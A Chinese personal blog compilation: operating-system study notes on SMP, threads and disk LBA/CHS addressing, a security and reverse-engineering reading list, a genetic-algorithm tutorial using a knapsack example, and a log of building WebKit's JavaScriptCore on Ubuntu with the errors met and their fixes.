对称多处理器(SMP):(多个CPU),每个CPU在系统中所处的地位和发挥的功能都是一样的,是相互对称的。理论上讲,增加CPU的数量就可以提高运算速度,并且理想情况下,速度的提高与CPU的数量成正比。但实际并非如此,因为我们的程序并不都能分解成若干的完全不相干的子问题,就比如一个女生可以花10个月生出一个孩子,但是十个女生并不能在一个月就生出一个孩子一样。

多核处理器:多个处理器共享一个缓存部件,其实为简化版SMP

‘’计算机科学领域的任何问题都可以通过增加一个间接的中间层来解决。’’

计算机软件体系结构(图)

接口:满足每个层次之间的相互通信的通信的协议

虚拟机技术:在硬件与操作系统之间增加了一层虚拟层,使得一个计算机上可以同时运行多个操作系统。

系统调用接口在实现中往往以软件中断的方式提供,eg:Linux使用0x80号中断作为系统调用接口;windows使用0x2E号中断作为系统调用接口(Windows XP Sp2开始,windows开始采用一种新的系统调用方式)。

分时系统:每个程序运行一段时间以后都主动让出CPU给其他程序,使得一段时间内每个程序都有机会运行一小段时间。

多任务系统:操作系统接管了所有的硬件资源,并且本身运行在一个受硬件保护的级别。所有的应用程序都以进程的方式运行在比操作系统权限更低的级别,每个进程都有自己独立的地址空间,是得进程之间的地址空间相互隔离。

抢占式:操作系统可以强制剥夺CPU资源并且分配给它认为目前最需要的进程。

磁盘寻址:

如何找到我们想要的数据呢?即如何在硬盘上找到任意一个物理地址。

1)CHS模式(Cylinder/Head/Sector) 就是给定柱面号、磁头号、扇区号。柱面号给定在哪一个圆环上,磁头号指定了在哪一层,扇区号指定了圆上的位置,于是就定位到了一个准确的扇区了。 2)LBA(Logical Block Addressing,逻辑块寻址) 就是只给一个逻辑号码,根据硬盘的柱面数、每个柱面的磁头数、每个磁道的扇区数来计算柱面号、磁头号、扇区号。 编号方法: 按照柱面、磁头、扇区顺序来编,即编完0号柱面0号磁头所在磁道的若干扇区后,再编0号柱面1号磁头所在磁道的所以扇区,编完0号柱面的所有磁头后再编1号柱面。

3)相互转换 LBA = (柱面号 一个柱面的磁头数 + 磁头号) 一个磁道上的扇区数 + (扇区号-1) 柱面号 = LBA / (一个柱面的磁头数 每个磁道扇区数) 令 x = LBA % (一个柱面的磁头数 每个磁道扇区数) 磁头号 = x / 每个磁道上的扇区数 扇区号 = x % 每个磁道上的扇区数 + 1

https://blog.csdn.net/guzhou_diaoke/article/details/8479033

2018.10.2

内存使用效率:

分页:程序在一段时间段内都是不会被用到的,用更小粒度的内存分割和映射的方法,使得程序的局部性原理得到充分的利用,大大提高了内存的使用率,这种方法就是分页。

线程:(或称)轻量级进程,是程序执行流的最小单元,标准线程=线程ID+当前指令指针pc+寄存器集合+堆栈

通常一个进程=多个线程

​ 线程的访问非常的自由,它可以访问进程内存里的所有数据,甚至包括其他进程的堆栈(如果他知道其他进程的堆栈地址,那么这种就是很少见的情况)但实际运用中线程也拥有自己的私有存储空间,包括以下几个方面:

  • 栈:(尽管并非完全无法被其他线程访问,一般情况下仍然可以认为是私有的数据)
  • 线程局部存储(TLS):是某些操作系统为线程单独提供的私有空间,但通常只是有限的容量
  • 寄存器(包括pc寄存器):寄存器是执行流的基本数据,因此为线程私有。

IO密集型线程:频繁等待的线程;

CPU密集线程:很少等待的线程;

IO密集型线程总比CPU型密集型线程容易得到优先级的提升;

线程优先级改变一般有三种方式:

  • 用户指定优先级
  • 根据进入等待状态的频繁程度提升或降低优先级
  • 长时间得不到执行而被提升优先级

写时复制:指的是两个任务可以同时自由的读取内存,但任意一个任务试图对内存进行修改时,内存就会复制一份提供给修改方单独使用,以免影响到其他的任务使用。

fork与exec通常用于产生新任务,而如果要产生新线程,则可以使用clone

原子操作:windows里有一套API,专门进行一些原子操作(interlocked API)

定个booklist任务吧

BookList:

一号之前吧,给自己列一个书籍清单!监督自己赶年前(标*的)完成这些。。。。

二进制:

《深入理解Linux内核》*

《Linux内核设计与实现》*

《Linux内核源代码情景分析》*

《windows内核情景分析》*

《windows内核原理与实现》*

《寒江独钓:windows内核安全编程》*

《模糊测试-强制性安全漏洞发掘》*

技巧类

《黑客攻防技术宝典-系统实战篇》 人民邮电出版社

《reverse C++》

《c++反汇编与逆向分析技术揭秘》

《格蠢汇编:软件调试案例》

《黑客攻防技术宝典-系统实战篇》 人民邮电出版社

《0day安全:软件漏洞分析技术》 电子工业出版社

《漏洞战争-软件漏洞分析精要》 电子工业出版社

《逆向工程核心原理》人民邮电出版社

《加密与解密》

《IDA Pro权威指南》

《reverse engineering for beginners》

编程:

《Python灰帽子-黑客与逆向工程的python编程之道》*

《Python自动化运维:技术与最佳实践》

《精通黑客脚本》

《window核心编程》*

扩展:

《游戏外挂开放艺术》

《捉虫日记》

《黑客免杀》

《恶意代码分析》

《安全软件开发之道》

《模糊测试-强制性安全漏洞发掘》

《灰帽黑客:正义黑客的道德规范、渗透测试、攻击方法和漏洞分析技术》

出来混,迟早是要还的。。。

欠的书,迟早是要读的。。。

附:BookList

https://github.com/DerekLoveCC/BookList#%E7%99%BD%E5%B8%BD%E5%AD%90%E8%AE%B2%E6%B5%8F%E8%A7%88%E5%99%A8%E5%AE%89%E5%85%A8

一系列编程算法书单

https://github.com/HongYiMU/TheAlgorithm

https://github.com/knownsec/RD_Checklist/blob/master/special/index.rst

一系列用于Fuzzing学习的资源汇总

http://www.freebuf.com/articles/rookie/169413.html

https://github.com/secfigo/Awesome-Fuzzing

关于遗传算法

遗传算法

因为在之前就有了解过该算法,并且该算法在好多工具都有体现,所以也刚好有个机会,去整理整理相关的资料,以后也会不断的去充实的!

1.遗传算法定义
首先,我们先讲个例子。例如,在一群小狗里面挑选优秀的警犬种子。
(1)设定好小狗的初始群大小;
(2)定义一个函数来区分优秀犬类和普通犬类;
(3)我们选择出优秀犬类,并让他们繁殖自己的后代;
(4)最后,这些后代替代原来狗群中的普通类,不断地充实优秀犬类的占比,并且最后不断的重复该过程。

遗传算法的工作过程其实也是这样的,在某种程度上模拟进化的过程,所以我们可以由此得出该算法的定义;

遗传算法(Genetic Algorithm)是一类借鉴生物界的进化规律(适者生存,优胜劣汰遗传机制)演化而来的随机化搜索方法;

2.遗传算法的实现细节

总体的实现过程如图:

总体的流程图

首先,算法随机生成一定数量的个体,有时候操作者也可以干预这个随机产生过程,以提高初始种群的质量。在每一代中,都会评价每一个体,并通过计算适应度函数得到适应度数值。按照适应度排序种群个体,适应度高的在前面。这里的“高”是相对于初始的种群的低适应度而言。

下一步则是产生下一代个体并且组成种群,而这个过程则是通过选择和繁殖来完成的,即Crossover交叉操作和Mutation变异。然后再进行根据新个体的适应度进行,但同时不意味着完全以适应度高低为导向,因为单纯选择适应度高的个体将可能导致算法快速收敛到局部最优解而非全局最优解,我们称之为早熟。作为折中,遗传算法依据原则:适应度越高,被选择的机会越高,而适应度低的,被选择的机会就低。初始的数据可以通过这样的选择过程来不断进行来组成一个相对优化的群体。

在该过程中具体的实现细节,我们以背包问题为例:比如,你准备要去野游 1 个月,但是你只能背一个限重 30 公斤的背包。现在你有不同的必需物品,它们每一个都有自己的「生存点数」(具体在下表中已给出)。因此,你的目标是在有限的背包重量下,最大化你的「生存点数」。

背包问题

2.1初始化

如上流程所述,我们首先来初始化定义总体,总体包含各个个体,而每个个体都有一套属于自己的染色体。

染色体可表达为 2 进制数串,在这个问题中,1 代表接下来位置的基因存在,0 意味着丢失。(特定位置上的基因代表了上方背包问题表格中的物品,比如第一个位置上是 Sleeping Bag,那么此时反映在染色体的『基因』位置就是该染色体的第一个『基因』。)

如上图,我们将图中的 4 条染色体看作我们的总体初始值。

2.2适应度函数

接下来,我们计算前两条染色体的适应度分数。对于 A1 染色体 [100110] 而言, 则有

类似的,则对于A2 染色体 [001110] 来说 :

一次类推,当染色体包含更多生存分数时,也就意味着它的适应性更强。因此,由图可知,染色体 1 适应性强于染色体 2。

2.3选择

现在接下来我们依照步骤二从总体中选择适合的染色体进行交叉操作,并且产生自己的下一代,但是这样将会导致染色体在几代之后相互差异减小,失去了多样性。故而,这部分会有多种选择算法,常见的选择操作主要有以下几种 :

​ a)轮盘赌选择 。选择某假设的概率是通过这个假设的适应度与当前群体中其他成员的适应度的比值而得到。此方法是基于概率选择的,存在统计误差,因此可以结合最优保存策略以保证当前适应度最优的个体能够进化到下一代而不被遗传操作的随机性破坏,保证算法的收敛性。

​ b)排序选择。对个体适应值取正值或负值以及个体适应度之间的数值差异程度无特殊要求 , 对群体中的所有个体按其适应度大小进行排序,根据排序来分配各个体被选中的概率。

​ c)最优个体保存。父代群体中的最优个体直接进入子代群体中。该方法可保证在遗传过程中所得到的个体不会被交叉和变异操作所破坏,它是遗传算法收敛性的一个重要保证条件 ;它也容易使得局部最优个体不易被淘汰,从而使算法的全局搜索能力变强。

​ d)随机联赛选择。每次选取N个个体中适应度最高的个体遗传到下一代 群体中。具体操作如下: 从群体中随机选取N个个体进行适应度大小比较,将其中适应度最高的个体遗传到下一代群体中;将上述过程重复执行M(为群体大小)次,则可得到下一代群体。

而我们一般会进行轮盘赌选择法, 想象有一个轮盘,现在我们将它分割成 m 个部分,这里的 m 代表我们总体中染色体的个数。每条染色体在轮盘上占有的区域面积将根据适应度分数成比例表达出来。

如图:Chromosome1的百分比:28/(28+23+12+34)=28.9%

我们基于上面的百分比来建立轮盘,如下图所示:

现在,这个轮盘开始旋转,我们将被图中固定的指针(fixed point)指到的那片区域选为第一个亲本。然后,对于第二个亲本,我们进行同样的操作。有时候我们也会在途中标注两个固定指针,如下图:

通过这种方法,我们可以在一轮中就获得两个亲本。我们将这种方法成为「随机普遍选择法」(Stochastic Universal Selection method)。

2.4交叉

在上一个步骤中,我们已经选择出了可以产生后代的亲本染色体。现在我们来对染色体 1 和 4(在上一个步骤中选出来的)进行交叉操作 ,而此处的常用交叉算法有如下几种:

a)单点交叉。 在个体编码串中随机设置一个交叉点后在该点相互交换两个配对个体的部分基因 。

b)两点交叉。 在相互配对的两个个体编码串中随机设置两个交叉点,并交换两个交叉点之间的部分基因 。

c)均匀交叉。 两个相互配对个体的每一位基因都以相同的概率进行交换,从而形成两个新个体。

d)算术交叉。 由两个个体的线性组合而产生出新的个体。

此处我们来演示单点交叉于多点交叉:

这是交叉最基本的形式,我们称其为「单点交叉」。这里我们随机选择一个交叉点,然后,将交叉点前后的染色体部分进行染色体间的交叉对调,于是就产生了新的后代。

如果你设置两个交叉点,那么这种方法被成为「多点交叉」,见下图:

2.5变异

如果现在我们从生物学的角度来看这个问题,那么请问:由上述过程产生的后代是否有和其父母一样的性状呢?答案是否。在后代的生长过程中,它们体内的基因会发生一些变化,使得它们与父母不同。这个过程我们称为变异,它可以被定义为染色体上发生的随机变化,正是因为变异,种群中才会存在多样性。

下图为变异的一个简单示例:

变异完成之后,我们就得到了新为个体,进化也就完成了,整个过程如下图:

​在进行完一轮遗传变异之后,我们用适应度函数对这些新的后代进行验证,如果函数判定它们适应度足够,那么就会用它们从总体中替代掉那些适应度不够的染色体。这里有个问题,我们最终应该以什么标准来判断后代达到了最佳适应度水平呢?

一般来说,有如下几个终止条件:

  1. 进化次数限制;
  2. 计算耗费的资源限制(例如计算时间、计算占用的内存等);
  3. 一个个体已经满足最优值的条件,即最优值已经找到;
  4. 适应度已经达到饱和,继续进化不会产生适应度更好的个体;
  5. 人为干预;
  6. 以及以上两种或更多种的组合。

参考文献

【1】https://zhuanlan.zhihu.com/p/28328304【例子】

【2】https://zh.wikipedia.org/wiki/%E9%81%97%E4%BC%A0%E7%AE%97%E6%B3%95

webkit

​ 时隔好久之后的博客,一直准备要写来着,可惜时间问题,所以就一直拖着!

​ 今天是猪猪的第一天加班,要陪他下班。。。(所以就来先写个前导吧)

​ 本来要在上周末打算写这篇的,猪猪给我了我个大惊喜,周末过得好充实。再加上今天终于解决了上周的遗留问题,应该是猪猪来了的原因吧,所以这么快就解决了这个问题!最近在项目中接触到了WebKit的相关问题!谈到WebKit,那就来谈谈最新版的WebKit的编译问题吧!

一,webkit编译

​ 源码下载的方式:

  1. 进入https://webkit.org/getting-the-code/ 进行源码包 的下载,该源码每天都会进行更新;然后对包进行解压

    1
    2
    tar jxvf WebKit-SVN-source.tar.bz2
    cd webkit
  2. SVN进行下载:

    1
    2
    svn checkout https://svn.webkit.org/repository/webkit/trunk WebKit
    并且可运行update-webkit脚本更新源码
  3. Git下载:

    1
    git clone git://git.webkit.org/WebKit.git WebKit

    对源码进行编译:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    在编译过程中因为系统版本的问题,踩过的坑可真不少!所以在这里记录一下:
    1.依赖库安装
    编译过程中,我们首先需要进行WebKit提供的脚本依赖库安装:

    ./WebKit/Tools/gtk/install-dependencies
    ./WebKit/Tools/Script/update-webkitgtk-libs //执行第二个命令要注意不能在root账号下 第二个命令实际上是下载jhbuild编译工具编译gnome环境,在执行第二条命令时,这个耗时特别长,会出现网络问题,导致如下下载出错
    git clone https://github.com/jhbuild.git
    clone 'jhbuild'...
    remote: Counting objects: 3658, done.
    error: RPC failed; curl 56 GnuTLS recv error (-54): Error in the pull function.
    fatal: The remote end hung up unexpectedly
    fatal: (EOF)
    fatal: index-pack failed
    Failed to build GTK+ port dependencies with jhbuild
    Died at ./WebKit/Tools/Scripts/update-webkitgtk-libs line 24.
    解决方法:
    应该是clone内容更新太多,需要设置postBuffer更大些,用下面命令解决
    git config --global http.postBuffer 524288000
    大多是因为网速的问题,所以这部分可尽量选择在网速较好的时段内去选择下载,中间出现差错,可多次尝试。

    2.编译
    在以上安装包安装完毕后,可进行编译
    如果是svn得到的代码,进入webkit目录后执行编译脚本得到./WebKitBuild/Release/bin/jsc
    $ cd webkit
    $ ./Tools/Scripts/build-jsc --gtk --makeargs="-j4"
    由于webkit是最新版的,而且编译的时候参考了官网的教程,所以在编译的过程中,相对速度较快,问题较少,中间缺少一个依赖包,安装即可;
    -- Checking for module 'libwoff2dec'
    -- No package 'libwoff2dec' found
    -- Could NOT find WOFF2Dec: Found unsuitable version "", but required is at least "1.0.2" (found WOFF2DEC_INCLUDE_DIRS-NOTFOUND)
    CMake Error at Source/cmake/OptionsGTK.cmake:351 (message):
    libwoff2dec is needed for USE_WOFF2.
    Call Stack (most recent call first):
    Source/cmake/WebKitCommon.cmake:61 (include)
    CMakeLists.txt:156 (include)
    解决方法:根据提示的No package 'libwoff2dec' found 如果直接下载package 'libwoff2dec'会报错,对相关依赖包进行查看后该处缺少的是libwoff-dev 直接sudo apt下载即可
    sudo apt-get install libwoff-dev
    安装完毕,继续进行编译则可。
    最终会出现想要的这个
    [1336/1336] Linking CXX executable bin/testb3
    ====================================================================
    JavaScriptCore is now built (36m:38s).
    ====================================================================

二,编译环境

​ 编译主机版本:Ubuntu 18.04

WebKit版本:WebKit r235496

三,参考文献

​ 【1】https://webkit.org/building-webkit/

​ 【2】https://trac.webkit.org/wiki/BuildingGtk